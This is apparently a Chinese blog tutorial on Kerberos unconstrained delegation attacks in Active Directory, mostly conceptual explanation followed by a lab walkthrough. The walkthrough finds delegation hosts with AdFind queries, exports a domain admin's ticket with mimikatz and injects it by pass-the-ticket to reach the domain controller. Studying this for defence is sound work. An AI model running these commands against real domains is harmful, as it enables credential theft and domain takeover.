域渗透—委派攻击之非约束委派攻击原理及利用

1,048 阅读6分钟

​本文已参与「新人创作礼」活动,一起开启掘金创作之路。

 一、域委派

首先了解一下什么是委派,委派即委托安排,我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation),这样主要讲解非约束委派攻击。

域委派的由来

在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过kerberos向web server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为"kerberos双跳问题",并且要求进行委派,以便web server在修改数据库记录时模拟用户。

这里说的"以便web server在修改数据库记录时模拟用户" 需要如何理解?

我自己理解的是就比如数据库中的相关数据需要修改,如果此时如果是让当前的web server的服务账户去进行修改的话,那么也就无法记录到到底是谁去修改了这个数据,此时如果出了问题就不知道该去问谁了,这种业务情况下就可能就是需要委派这种功能来进行解决,那么委派之后的情况就是,让当前的web server的服务账户去操作,但是web server同样带有客户的信息,在修改相关数据的时候,用的是对应客户操作者的记录。

为什么域委派

为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。

域委派流程

 一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack,以Kerberos 协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos认证。——> Kerberos 认证学习

流程

  • 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器;
  • Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
  • KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;
  • websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;
  • KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;
  • websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。

域委派的用户

在域内的可以委派的账户有两种一种是主机账户(Net Computer),活动目录中的computers组内的计算机,也被称为机器账号。,如下图

 另一种是用 setspn手动添加的服务账户(Net User)。简单来说,服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录,也就是说无法通过SqlServiceAccount来通过3389进行rdp登录

委派类型

前文已经提到,域内委派主要有3种应用方式:

一是非约束性委派(Unconstrained Delegation) ,服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务

二是约束性委派(Constrained Delegation) ,即Kerberos的扩展协议 S4U2Proxy,服务账号只能获取某用户的ST,从而只能模拟用户访问特定的服务

委派原理学习

非约束性委派的原理是:用户想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A,服务A就相当于获得了用户的TGT,把TGT放入lsass进程,然后就可以拿着用户的TGT以用户的身份去访问该用户权限能够访问的服务了

  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

二、非约束委派攻击

当user访问service1时,如果service1的服务账号或者主机开启了(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务),如果这里的user是域管理员用户,那么我们便能够得到该用户的TGT

非约束委派的攻击方法中有两种:

  1. 设置主机账户为非约束委派,通过域管理账户对该主机账户进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。
  2. 设置服务账号为非约束委派,通过域管理账户对该服务进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。

以下委派攻击实验基于将主机账户设置为非约束委派

环境要求

  • 域:test.lab
  • 域控:192.168.10.2 win2012,账号 administrator,主机名DC
  • 域成员:192.168.10.5 win7 ,账号 yuwin7,主机名admin-PC
  • 域管理员:192.168.10.4 win2012,账号 yuwin2012,主机名win2012
  1. 开启yuwin7主机账号的委派属性

对yuwin7主机账号开启了委派属性,若我们拿下yuwin7这台机器并且有域账户,域控访问了该机器则可以进行攻击


或者是当服务账号开启了委派属性,服务账号开启了委派属性时拿下的主机账号也必须开启委派属性才能进行委派攻击

 这里我们直接在域控上注册,将域账号yuwin7注册为服务账号

setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/admin-PC.test.lab yuwin7

#删除
setspn -D abc/admin-PC.test.lab yuwin7

查看 setspn -Q / 可发现成功注册

 2. 开启域账户的委派属性

注册成功后可发现属性中有了委派这个属性,若没注册服务账号则没有该属性选项。如下选择,则开启了委派属性

  1. 开启主机账号的委派属性

查询非约束委派的主机和用户

以下委派攻击实验基于将主机账户设置为非约束委派

使用adfind查找

Adfind 下载地址:www.softpedia.com/get/Program…

查询非约束委派的主机:
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

1. 查询非约束委派的主机

可以看到 admin-PC 这个主机就是域内⾮约束委派主机!而admin-PC就是本机的主机名。查找⾮约束委派⽤户的⼯具还有很多!例如 Adfind、ldapdomaindump、PowerView … 等等。

2. 查询非约束委派的域用户

⾮约束委派攻击利⽤

当设置了非约束性委派,需要让域控模拟访问被设置了⾮约束委派的机器。可以使用如下的方式模拟访问

  1. 在域管理员win2012上执行

Enter-PSSession -ComputerName admin-PC

域管理员模拟访问被设置了约束委派的机器后,这个时候其实域管理员yuwin2012的 TGT 已经缓存在 win7机器上了

2. mimikatz导出凭据

以本地管理员权限运行mimikatz

  • privilege::debug
  • sekurlsa::tickets /export

导出票据如下,我们关注yuwin2012带@krbtgt的凭据,其为域管理员yuwin2012的TGT。有三个票据,我们将其中一个重命名为1.kirbi,方便操作

 3. 通过 ptt 将 TGT 注⼊到当前会话中

我们现在访问域控肯定是访问不了的

接下来以域用户权限运行mimikatz,通过 ptt 将 TGT 注⼊到当前会话中

kerberos::ptt 1.kirbi

这个时候就能访问到域控了:

dir \主机名\c$

三、非约束性委派配合 Spooler打印机服务

在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。

传送门——> chenchena.blog.csdn.net/article/det…


参考:

域渗透 Kerberos委派攻击学习 一 – Crispr –热爱技术和生活​​​​​​

域渗透-委派攻击原理与实战 - 知乎

基于非约束/约束委派的原理和利用 - zpchcbd - 博客园